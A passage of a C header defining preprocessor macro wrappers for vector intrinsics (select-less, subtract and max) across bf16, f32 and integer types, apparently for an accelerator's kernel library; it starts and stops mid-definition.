v_bf16_bf16_sel2_less_v_v_v_v\n#define v_bf16_bf16_sel2_less_v_v_v_s v_bf16_bf16_sel2_less_v_v_v_v\n\n#define v_bf16_bf16_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_less_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o);\n#define v_bf16_bf16_sel2_less_v_s_v_v_vb v_bf16_bf16_sel2_less_v_v_v_v_vb\n#define v_bf16_bf16_sel2_less_v_v_v_s_vb v_bf16_bf16_sel2_less_v_v_v_v_vb\n\n// bf16 - i16\n#define v_bf16_i16_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_less_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel2_less_v_s_v_v_b v_bf16_i16_sel2_less_v_v_v_v_b\n#define v_bf16_i16_sel2_less_v_v_v_s_b v_bf16_i16_sel2_less_v_v_v_v_b\n#define v_bf16_i16_sel2_less_v_v_v_v(a, b, c, d) v_bf16_i16_sel2_less_v_v_v_v_b(a, b, c, d, (short128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_i16_sel2_less_v_s_v_v v_bf16_i16_sel2_less_v_v_v_v\n#define v_bf16_i16_sel2_less_v_v_v_s v_bf16_i16_sel2_less_v_v_v_v\n\n#define v_bf16_i16_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_less_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o);\n#define v_bf16_i16_sel2_less_v_s_v_v_vb v_bf16_i16_sel2_less_v_v_v_v_vb\n#define v_bf16_i16_sel2_less_v_v_v_s_vb v_bf16_i16_sel2_less_v_v_v_v_vb\n\n// bf16 - u16\n#define v_bf16_u16_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_less_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel2_less_v_s_v_v_b v_bf16_u16_sel2_less_v_v_v_v_b\n#define v_bf16_u16_sel2_less_v_v_v_s_b v_bf16_u16_sel2_less_v_v_v_v_b\n#define v_bf16_u16_sel2_less_v_v_v_v(a, b, c, d) v_bf16_u16_sel2_less_v_v_v_v_b(a, b, c, d, (ushort128_bfloat128_pair_t){0}, 1, 0)\n#define v_bf16_u16_sel2_less_v_s_v_v v_bf16_u16_sel2_less_v_v_v_v\n#define v_bf16_u16_sel2_less_v_v_v_s v_bf16_u16_sel2_less_v_v_v_v\n\n#define v_bf16_u16_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_less_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel2_less_v_s_v_v_vb v_bf16_u16_sel2_less_v_v_v_v_vb\n#define v_bf16_u16_sel2_less_v_v_v_s_vb v_bf16_u16_sel2_less_v_v_v_v_vb\n\n// i32 - f32\n#define v_i32_f32_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_less_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel2_less_v_s_v_v_b v_i32_f32_sel2_less_v_v_v_v_b\n#define v_i32_f32_sel2_less_v_v_v_s_b v_i32_f32_sel2_less_v_v_v_v_b\n#define v_i32_f32_sel2_less_v_v_v_v(a, b, c, d) v_i32_f32_sel2_less_v_v_v_v_b(a, b, c, d, (float64_int64_pair_t){0}, 1, 0)\n#define v_i32_f32_sel2_less_v_s_v_v v_i32_f32_sel2_less_v_v_v_v\n#define v_i32_f32_sel2_less_v_v_v_s v_i32_f32_sel2_less_v_v_v_v\n\n#define v_i32_f32_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_less_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel2_less_v_s_v_v_vb v_i32_f32_sel2_less_v_v_v_v_vb\n#define v_i32_f32_sel2_less_v_v_v_s_vb v_i32_f32_sel2_less_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_less_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel2_less_v_s_v_v_b v_i32_i32_sel2_less_v_v_v_v_b\n#define v_i32_i32_sel2_less_v_v_v_s_b v_i32_i32_sel2_less_v_v_v_v_b\n#define v_i32_i32_sel2_less_v_v_v_v(a, b, c, d) v_i32_i32_sel2_less_v_v_v_v_b(a, b, c, d, (int64_pair_t){0}, 1, 0)\n#define v_i32_i32_sel2_less_v_s_v_v v_i32_i32_sel2_less_v_v_v_v\n#define v_i32_i32_sel2_less_v_v_v_s v_i32_i32_sel2_less_v_v_v_v\n\n#define v_i32_i32_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_less_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel2_less_v_s_v_v_vb v_i32_i32_sel2_less_v_v_v_v_vb\n#define v_i32_i32_sel2_less_v_v_v_s_vb v_i32_i32_sel2_less_v_v_v_v_vb\n\n// i32 - u32\n#define v_i32_u32_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_less_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel2_less_v_s_v_v_b v_i32_u32_sel2_less_v_v_v_v_b\n#define v_i32_u32_sel2_less_v_v_v_s_b v_i32_u32_sel2_less_v_v_v_v_b\n#define v_i32_u32_sel2_less_v_v_v_v(a, b, c, d) v_i32_u32_sel2_less_v_v_v_v_b(a, b, c, d, (uint64_int64_pair_t){0}, 1, 0)\n#define v_i32_u32_sel2_less_v_s_v_v v_i32_u32_sel2_less_v_v_v_v\n#define v_i32_u32_sel2_less_v_v_v_s v_i32_u32_sel2_less_v_v_v_v\n\n#define v_i32_u32_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_less_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel2_less_v_s_v_v_vb v_i32_u32_sel2_less_v_v_v_v_vb\n#define v_i32_u32_sel2_less_v_v_v_s_vb v_i32_u32_sel2_less_v_v_v_v_vb\n\n// u32 - f32\n#define v_u32_f32_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel2_less_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel2_less_v_s_v_v_b v_u32_f32_sel2_less_v_v_v_v_b\n#define v_u32_f32_sel2_less_v_v_v_s_b v_u32_f32_sel2_less_v_v_v_v_b\n#define v_u32_f32_sel2_less_v_v_v_v(a, b, c, d) v_u32_f32_sel2_less_v_v_v_v_b(a, b, c, d, (float64_uint64_pair_t){0}, 1, 0)\n#define v_u32_f32_sel2_less_v_s_v_v v_u32_f32_sel2_less_v_v_v_v\n#define v_u32_f32_sel2_less_v_v_v_s v_u32_f32_sel2_less_v_v_v_v\n\n#define v_u32_f32_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel2_less_u32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_u32_f32_sel2_less_v_s_v_v_vb v_u32_f32_sel2_less_v_v_v_v_vb\n#define v_u32_f32_sel2_less_v_v_v_s_vb v_u32_f32_sel2_less_v_v_v_v_vb\n\n// u32 - i32\n#define v_u32_i32_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel2_less_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel2_less_v_s_v_v_b v_u32_i32_sel2_less_v_v_v_v_b\n#define v_u32_i32_sel2_less_v_v_v_s_b v_u32_i32_sel2_less_v_v_v_v_b\n#define v_u32_i32_sel2_less_v_v_v_v(a, b, c, d) v_u32_i32_sel2_less_v_v_v_v_b(a, b, c, d, (int64_uint64_pair_t){0}, 1, 0)\n#define v_u32_i32_sel2_less_v_s_v_v v_u32_i32_sel2_less_v_v_v_v\n#define v_u32_i32_sel2_less_v_v_v_s v_u32_i32_sel2_less_v_v_v_v\n\n#define v_u32_i32_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel2_less_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel2_less_v_s_v_v_vb v_u32_i32_sel2_less_v_v_v_v_vb\n#define v_u32_i32_sel2_less_v_v_v_s_vb v_u32_i32_sel2_less_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel2_less_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel2_less_v_s_v_v_b v_u32_u32_sel2_less_v_v_v_v_b\n#define v_u32_u32_sel2_less_v_v_v_s_b v_u32_u32_sel2_less_v_v_v_v_b\n#define v_u32_u32_sel2_less_v_v_v_v(a, b, c, d) v_u32_u32_sel2_less_v_v_v_v_b(a, b, c, d, (uint64_pair_t){0}, 1, 0)\n#define v_u32_u32_sel2_less_v_s_v_v v_u32_u32_sel2_less_v_v_v_v\n#define v_u32_u32_sel2_less_v_v_v_s v_u32_u32_sel2_less_v_v_v_v\n\n#define v_u32_u32_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel2_less_u32_vb(a, b, c, d, 0, i, to_bool64(p), o);\n#define v_u32_u32_sel2_less_v_s_v_v_vb v_u32_u32_sel2_less_v_v_v_v_vb\n#define v_u32_u32_sel2_less_v_v_v_s_vb v_u32_u32_sel2_less_v_v_v_v_vb\n\n// i16 - bf16\n#define v_i16_bf16_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_less_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel2_less_v_s_v_v_b v_i16_bf16_sel2_less_v_v_v_v_b\n#define v_i16_bf16_sel2_less_v_v_v_s_b v_i16_bf16_sel2_less_v_v_v_v_b\n#define v_i16_bf16_sel2_less_v_v_v_v(a, b, c, d) v_i16_bf16_sel2_less_v_v_v_v_b(a, b, c, d, (bfloat128_short128_pair_t){0}, 1, 0)\n#define v_i16_bf16_sel2_less_v_s_v_v v_i16_bf16_sel2_less_v_v_v_v\n#define v_i16_bf16_sel2_less_v_v_v_s v_i16_bf16_sel2_less_v_v_v_v\n\n#define v_i16_bf16_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_less_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel2_less_v_s_v_v_vb v_i16_bf16_sel2_less_v_v_v_v_vb\n#define v_i16_bf16_sel2_less_v_v_v_s_vb v_i16_bf16_sel2_less_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_less_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel2_less_v_s_v_v_b v_i16_i16_sel2_less_v_v_v_v_b\n#define v_i16_i16_sel2_less_v_v_v_s_b v_i16_i16_sel2_less_v_v_v_v_b\n#define v_i16_i16_sel2_less_v_v_v_v(a, b, c, d) v_i16_i16_sel2_less_v_v_v_v_b(a, b, c, d, (short128_pair_t){0}, 1, 0)\n#define v_i16_i16_sel2_less_v_s_v_v v_i16_i16_sel2_less_v_v_v_v\n#define v_i16_i16_sel2_less_v_v_v_s v_i16_i16_sel2_less_v_v_v_v\n\n#define v_i16_i16_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_less_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel2_less_v_s_v_v_vb v_i16_i16_sel2_less_v_v_v_v_vb\n#define v_i16_i16_sel2_less_v_v_v_s_vb v_i16_i16_sel2_less_v_v_v_v_vb\n\n// i16 - u16\n#define v_i16_u16_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_less_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel2_less_v_s_v_v_b v_i16_u16_sel2_less_v_v_v_v_b\n#define v_i16_u16_sel2_less_v_v_v_s_b v_i16_u16_sel2_less_v_v_v_v_b\n#define v_i16_u16_sel2_less_v_v_v_v(a, b, c, d) v_i16_u16_sel2_less_v_v_v_v_b(a, b, c, d, (ushort128_short128_pair_t){0}, 1, 0)\n#define v_i16_u16_sel2_less_v_s_v_v v_i16_u16_sel2_less_v_v_v_v\n#define v_i16_u16_sel2_less_v_v_v_s v_i16_u16_sel2_less_v_v_v_v\n\n#define v_i16_u16_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_less_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel2_less_v_s_v_v_vb v_i16_u16_sel2_less_v_v_v_v_vb\n#define v_i16_u16_sel2_less_v_v_v_s_vb v_i16_u16_sel2_less_v_v_v_v_vb\n\n// u16 - bf16\n#define v_u16_bf16_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel2_less_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel2_less_v_s_v_v_b v_u16_bf16_sel2_less_v_v_v_v_b\n#define v_u16_bf16_sel2_less_v_v_v_s_b v_u16_bf16_sel2_less_v_v_v_v_b\n#define v_u16_bf16_sel2_less_v_v_v_v(a, b, c, d) v_u16_bf16_sel2_less_v_v_v_v_b(a, b, c, d, (bfloat128_ushort128_pair_t){0}, 1, 0)\n#define v_u16_bf16_sel2_less_v_s_v_v v_u16_bf16_sel2_less_v_v_v_v\n#define v_u16_bf16_sel2_less_v_v_v_s v_u16_bf16_sel2_less_v_v_v_v\n\n#define v_u16_bf16_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel2_less_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel2_less_v_s_v_v_vb v_u16_bf16_sel2_less_v_v_v_v_vb\n#define v_u16_bf16_sel2_less_v_v_v_s_vb v_u16_bf16_sel2_less_v_v_v_v_vb\n\n// u16 - i16\n#define v_u16_i16_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel2_less_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel2_less_v_s_v_v_b v_u16_i16_sel2_less_v_v_v_v_b\n#define v_u16_i16_sel2_less_v_v_v_s_b v_u16_i16_sel2_less_v_v_v_v_b\n#define v_u16_i16_sel2_less_v_v_v_v(a, b, c, d) v_u16_i16_sel2_less_v_v_v_v_b(a, b, c, d, (short128_ushort128_pair_t){0}, 1, 0)\n#define v_u16_i16_sel2_less_v_s_v_v v_u16_i16_sel2_less_v_v_v_v\n#define v_u16_i16_sel2_less_v_v_v_s v_u16_i16_sel2_less_v_v_v_v\n\n#define v_u16_i16_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel2_less_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel2_less_v_s_v_v_vb v_u16_i16_sel2_less_v_v_v_v_vb\n#define v_u16_i16_sel2_less_v_v_v_s_vb v_u16_i16_sel2_less_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel2_less_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel2_less_v_s_v_v_b v_u16_u16_sel2_less_v_v_v_v_b\n#define v_u16_u16_sel2_less_v_v_v_s_b v_u16_u16_sel2_less_v_v_v_v_b\n#define v_u16_u16_sel2_less_v_v_v_v(a, b, c, d) v_u16_u16_sel2_less_v_v_v_v_b(a, b, c, d, (ushort128_pair_t){0}, 1, 0)\n#define v_u16_u16_sel2_less_v_s_v_v v_u16_u16_sel2_less_v_v_v_v\n#define v_u16_u16_sel2_less_v_v_v_s v_u16_u16_sel2_less_v_v_v_v\n\n#define v_u16_u16_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel2_less_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel2_less_v_s_v_v_vb v_u16_u16_sel2_less_v_v_v_v_vb\n#define v_u16_u16_sel2_less_v_v_v_s_vb v_u16_u16_sel2_less_v_v_v_v_vb\n\n// i8 - i8\n#define v_i8_i8_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel2_less_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel2_less_v_s_v_v_b v_i8_i8_sel2_less_v_v_v_v_b\n#define v_i8_i8_sel2_less_v_v_v_s_b v_i8_i8_sel2_less_v_v_v_v_b\n#define v_i8_i8_sel2_less_v_v_v_v(a, b, c, d) v_i8_i8_sel2_less_v_v_v_v_b(a, b, c, d, (char256_pair_t){0}, 1, 0)\n#define v_i8_i8_sel2_less_v_s_v_v v_i8_i8_sel2_less_v_v_v_v\n#define v_i8_i8_sel2_less_v_v_v_s v_i8_i8_sel2_less_v_v_v_v\n\n#define v_i8_i8_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel2_less_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_i8_sel2_less_v_s_v_v_vb v_i8_i8_sel2_less_v_v_v_v_vb\n#define v_i8_i8_sel2_less_v_v_v_s_vb v_i8_i8_sel2_less_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_u8_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel2_less_i8_b(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel2_less_v_s_v_v_b v_i8_u8_sel2_less_v_v_v_v_b\n#define v_i8_u8_sel2_less_v_v_v_s_b v_i8_u8_sel2_less_v_v_v_v_b\n#define v_i8_u8_sel2_less_v_v_v_v(a, b, c, d) v_i8_u8_sel2_less_v_v_v_v_b(a, b, c, d, (uchar256_char256_pair_t){0}, 1, 0)\n#define v_i8_u8_sel2_less_v_s_v_v v_i8_u8_sel2_less_v_v_v_v\n#define v_i8_u8_sel2_less_v_v_v_s v_i8_u8_sel2_less_v_v_v_v\n\n#define v_i8_u8_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel2_less_i8_vb(a, b, c, d, 0, i, p, o)\n#define v_i8_u8_sel2_less_v_s_v_v_vb v_i8_u8_sel2_less_v_v_v_v_vb\n#define v_i8_u8_sel2_less_v_v_v_s_vb v_i8_u8_sel2_less_v_v_v_v_vb\n\n// u8 - i8\n#define v_u8_i8_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel2_less_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel2_less_v_s_v_v_b v_u8_i8_sel2_less_v_v_v_v_b\n#define v_u8_i8_sel2_less_v_v_v_s_b v_u8_i8_sel2_less_v_v_v_v_b\n#define v_u8_i8_sel2_less_v_v_v_v(a, b, c, d) v_u8_i8_sel2_less_v_v_v_v_b(a, b, c, d, (char256_uchar256_pair_t){0}, 1, 0)\n#define v_u8_i8_sel2_less_v_s_v_v v_u8_i8_sel2_less_v_v_v_v\n#define v_u8_i8_sel2_less_v_v_v_s v_u8_i8_sel2_less_v_v_v_v\n\n#define v_u8_i8_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel2_less_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_i8_sel2_less_v_s_v_v_vb v_u8_i8_sel2_less_v_v_v_v_vb\n#define v_u8_i8_sel2_less_v_v_v_s_vb v_u8_i8_sel2_less_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel2_less_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel2_less_u8_b(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel2_less_v_s_v_v_b v_u8_u8_sel2_less_v_v_v_v_b\n#define v_u8_u8_sel2_less_v_v_v_s_b v_u8_u8_sel2_less_v_v_v_v_b\n#define v_u8_u8_sel2_less_v_v_v_v(a, b, c, d) v_u8_u8_sel2_less_v_v_v_v_b(a, b, c, d, (uchar256_pair_t){0}, 1, 0)\n#define v_u8_u8_sel2_less_v_s_v_v v_u8_u8_sel2_less_v_v_v_v\n#define v_u8_u8_sel2_less_v_v_v_s v_u8_u8_sel2_less_v_v_v_v\n\n#define v_u8_u8_sel2_less_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel2_less_u8_vb(a, b, c, d, 0, i, p, o)\n#define v_u8_u8_sel2_less_v_s_v_v_vb v_u8_u8_sel2_less_v_v_v_v_vb\n#define v_u8_u8_sel2_less_v_v_v_s_vb v_u8_u8_sel2_less_v_v_v_v_vb\n\n// SUB\n\n#define s_f32_sub_s_s_b(a, b, i, s, p, o) s_f32_sub(a, b, s << 1, i, p, o)\n#define s_bf16_sub_s_s_b(a, b, i, s, p, o) s_bf16_sub(a, b, s << 1, i, p, o)\n\n#define s_i32_sub_s_s_b(a, b, i, s, p, o) s_i32_sub(a, b, s, i, p, o)\n#define s_u32_sub_s_s_b(a, b, i, s, p, o) s_u32_sub(a, b, s, i, p, o)\n#define s_i16_sub_s_s_b(a, b, i, s, p, o) s_i16_sub(a, b, s, i, p, o)\n#define s_u16_sub_s_s_b(a, b, i, s, p, o) s_u16_sub(a, b, s, i, p, o)\n#define s_i8_sub_s_s_b(a, b, i, s, p, o) s_i8_sub(a, b, s, i, p, o)\n#define s_u8_sub_s_s_b(a, b, i, s, p, o) s_u8_sub(a, b, s, i, p, o)\n\n#define s_f32_sub_s_s(a, b, s) s_f32_sub_s_s_b(a, b, 0, s, 1, 0)\n#define s_bf16_sub_s_s(a, b, s) s_bf16_sub_s_s_b(a, b, 0, s, 1, 0)\n#define s_i32_sub_s_s(a, b, s) s_i32_sub_s_s_b(a, b, 0, s, 1, 0)\n#define s_u32_sub_s_s(a, b, s) s_u32_sub_s_s_b(a, b, 0, s, 1, 0)\n#define s_i16_sub_s_s(a, b, s) s_i16_sub_s_s_b(a, b, 0, s, 1, 0)\n#define s_u16_sub_s_s(a, b, s) s_u16_sub_s_s_b(a, b, 0, s, 1, 0)\n#define s_i8_sub_s_s(a, b, s) s_i8_sub_s_s_b(a, b, 0, s, 1, 0)\n#define s_u8_sub_s_s(a, b, s) s_u8_sub_s_s_b(a, b, 0, s, 1, 0)\n\n#define i_i32_sub_i_i_b(a, b, i, m, p, o) i_i32_sub(a, b, m, 0, i, p, o)\n#define i_i32_sub_s_i_b(a, b, i, m, p, o) i_i32_sub_i_i_b(a, b, i, m, p, o)\n#define i_i32_sub_i_i(a, b, i, m) i_i32_sub_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_sub_s_i(a, b, i, m) i_i32_sub_i_i(a, b, i, m)\n\n#define v_f32_sub_v_v_vb(a, b, i, s, p, o) v_f32_sub_vb(a, b, s << 1, i, to_bool64(p), o)\n#define v_bf16_sub_v_v_vb(a, b, i, s, p, o) v_bf16_sub_vb(a, b, s << 1, i, to_bool128(p), o)\n#define v_i32_sub_v_v_vb(a, b, i, s, p, o) v_i32_sub_vb(a, b, s, i, to_bool64(p), o)\n#define v_u32_sub_v_v_vb(a, b, i, s, p, o) v_u32_sub_vb(a, b, s, i, to_bool64(p), o)\n#define v_i16_sub_v_v_vb(a, b, i, s, p, o) v_i16_sub_vb(a, b, s, i, to_bool128(p), o)\n#define v_u16_sub_v_v_vb(a, b, i, s, p, o) v_u16_sub_vb(a, b, s, i, to_bool128(p), o)\n#define v_i8_sub_v_v_vb(a, b, i, s, p, o) v_i8_sub_vb(a, b, s, i, p, o)\n#define v_u8_sub_v_v_vb(a, b, i, s, p, o) v_u8_sub_vb(a, b, s, i, p, o)\n\n#define v_f32_sub_v_v_b(a, b, i, s, p, o) v_f32_sub_b(a, b, s << 1, i, p, o)\n#define v_bf16_sub_v_v_b(a, b, i, s, p, o) v_bf16_sub_b(a, b, s << 1, i, p, o)\n#define v_i32_sub_v_v_b(a, b, i, s, p, o) v_i32_sub_b(a, b, s, i, p, o)\n#define v_u32_sub_v_v_b(a, b, i, s, p, o) v_u32_sub_b(a, b, s, i, p, o)\n#define v_i16_sub_v_v_b(a, b, i, s, p, o) v_i16_sub_b(a, b, s, i, p, o)\n#define v_u16_sub_v_v_b(a, b, i, s, p, o) v_u16_sub_b(a, b, s, i, p, o)\n#define v_i8_sub_v_v_b(a, b, i, s, p, o) v_i8_sub_b(a, b, s, i, p, o)\n#define v_u8_sub_v_v_b(a, b, i, s, p, o) v_u8_sub_b(a, b, s, i, p, o)\n\n#define v_f32_sub_v_s_vb(a, b, i, s, p, o) v_f32_sub_v_v_vb(a, b, i, s, p, o)\n#define v_bf16_sub_v_s_vb(a, b, i, s, p, o) v_bf16_sub_v_v_vb(a, b, i, s, p, o)\n#define v_i32_sub_v_s_vb(a, b, i, s, p, o) v_i32_sub_v_v_vb(a, b, i, s, p, o)\n#define v_u32_sub_v_s_vb(a, b, i, s, p, o) v_u32_sub_v_v_vb(a, b, i, s, p, o)\n#define v_i16_sub_v_s_vb(a, b, i, s, p, o) v_i16_sub_v_v_vb(a, b, i, s, p, o)\n#define v_u16_sub_v_s_vb(a, b, i, s, p, o) v_u16_sub_v_v_vb(a, b, i, s, p, o)\n#define v_i8_sub_v_s_vb(a, b, i, s, p, o) v_i8_sub_v_v_vb(a, b, i, s, p, o)\n#define v_u8_sub_v_s_vb(a, b, i, s, p, o) v_u8_sub_v_v_vb(a, b, i, s, p, o)\n\n#define v_f32_sub_v_s_b(a, b, i, s, p, o) v_f32_sub_v_v_b(a, b, i, s, p, o)\n#define v_bf16_sub_v_s_b(a, b, i, s, p, o) v_bf16_sub_v_v_b(a, b, i, s, p, o)\n#define v_i32_sub_v_s_b(a, b, i, s, p, o) v_i32_sub_v_v_b(a, b, i, s, p, o)\n#define v_u32_sub_v_s_b(a, b, i, s, p, o) v_u32_sub_v_v_b(a, b, i, s, p, o)\n#define v_i16_sub_v_s_b(a, b, i, s, p, o) v_i16_sub_v_v_b(a, b, i, s, p, o)\n#define v_u16_sub_v_s_b(a, b, i, s, p, o) v_u16_sub_v_v_b(a, b, i, s, p, o)\n#define v_i8_sub_v_s_b(a, b, i, s, p, o) v_i8_sub_v_v_b(a, b, i, s, p, o)\n#define v_u8_sub_v_s_b(a, b, i, s, p, o) v_u8_sub_v_v_b(a, b, i, s, p, o)\n\n#define v_f32_sub_v_v(a, b, s) v_f32_sub_v_v_b(a, b, 0, s, 1, 0)\n#define v_bf16_sub_v_v(a, b, s) v_bf16_sub_v_v_b(a, b, 0, s, 1, 0)\n#define v_i32_sub_v_v(a, b, s) v_i32_sub_v_v_b(a, b, 0, s, 1, 0)\n#define v_u32_sub_v_v(a, b, s) v_u32_sub_v_v_b(a, b, 0, s, 1, 0)\n#define v_i16_sub_v_v(a, b, s) v_i16_sub_v_v_b(a, b, 0, s, 1, 0)\n#define v_u16_sub_v_v(a, b, s) v_u16_sub_v_v_b(a, b, 0, s, 1, 0)\n#define v_i8_sub_v_v(a, b, s) v_i8_sub_v_v_b(a, b, 0, s, 1, 0)\n#define v_u8_sub_v_v(a, b, s) v_u8_sub_v_v_b(a, b, 0, s, 1, 0)\n\n#define v_f32_sub_v_s(a, b, s) v_f32_sub_v_v(a, b, s)\n#define v_bf16_sub_v_s(a, b, s) v_bf16_sub_v_v(a, b, s)\n#define v_i32_sub_v_s(a, b, s) v_i32_sub_v_v(a, b, s)\n#define v_u32_sub_v_s(a, b, s) v_u32_sub_v_v(a, b, s)\n#define v_i16_sub_v_s(a, b, s) v_i16_sub_v_v(a, b, s)\n#define v_u16_sub_v_s(a, b, s) v_u16_sub_v_v(a, b, s)\n#define v_i8_sub_v_s(a, b, s) v_i8_sub_v_v(a, b, s)\n#define v_u8_sub_v_s(a, b, s) v_u8_sub_v_v(a, b, s)\n\n\n// MAX\n\n#define s_f32_max_s_s_b(a, b, i, p, o) s_f32_max(a, b, 0, i, p, o)\n#define s_bf16_max_s_s_b(a, b, i, p, o) s_bf16_max(a, b, 0, i, p, o)\n#define s_i32_max_s_s_b(a, b, i, p, o) s_i32_max(a, b, 0, i, p, o)\n#define s_u32_max_s_s_b(a, b, i, p, o) s_u32_max(a, b, 0, i, p, o)\n#define s_i16_max_s_s_b(a, b, i, p, o) s_i16_max(a, b, 0, i, p, o)\n#define s_u16_max_s_s_b(a, b, i, p, o) s_u16_max(a, b, 0, i, p, o)\n#define s_i8_max_s_s_b(a, b, i, p, o) s_i8_max(a, b, 0, i, p, o)\n#define s_u8_max_s_s_b(a, b, i, p, o) s_u8_max(a, b, 0, i, p, o)\n\n#define s_f32_max_s_s(a, b) s_f32_max_s_s_b(a, b, 0, 1, 0)\n#define s_bf16_max_s_s(a, b) s_bf16_max_s_s_b(a, b, 0, 1, 0)\n#define s_i32_max_s_s(a, b) s_i32_max_s_s_b(a, b, 0, 1, 0)\n#define s_u32_max_s_s(a, b) s_u32_max_s_s_b(a, b, 0, 1, 0)\n#define s_i16_max_s_s(a, b) s_i16_max_s_s_b(a, b, 0, 1, 0)\n#define s_u16_max_s_s(a, b) s_u16_max_s_s_b(a, b, 0, 1, 0)\n#define s_i8_max_s_s(a, b) s_i8_max_s_s_b(a, b, 0, 1, 0)\n#define s_u8_max_s_s(a, b) s_u8_max_s_s_b(a, b, 0, 1, 0)\n\n#define i_i32_max_i_i_b(a, b, i, m, p, o) i_i32_max(a, b, m, 0,i, p, o)\n#define i_i32_max_s_i_b(a, b, i, m, p, o) i_i32_max_i_i_b(a, b, i, m, p, o)\n#define i_i32_max_i_i(a, b, i, m) i_i32_max_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_max_s_i(a, b, i, m) i_i32_max_i_i(a, b, i, m)\n\n#define v_f32_max_v_v_vb(a, b, i, p, o) v_f32_max_vb(a, b, 0, i, to_bool64(p), o)\n#define v_bf16_max_v_v_vb(a, b, i, p, o) v_bf16_max_vb(a, b, 0, i, to_bool128(p), o)\n#define 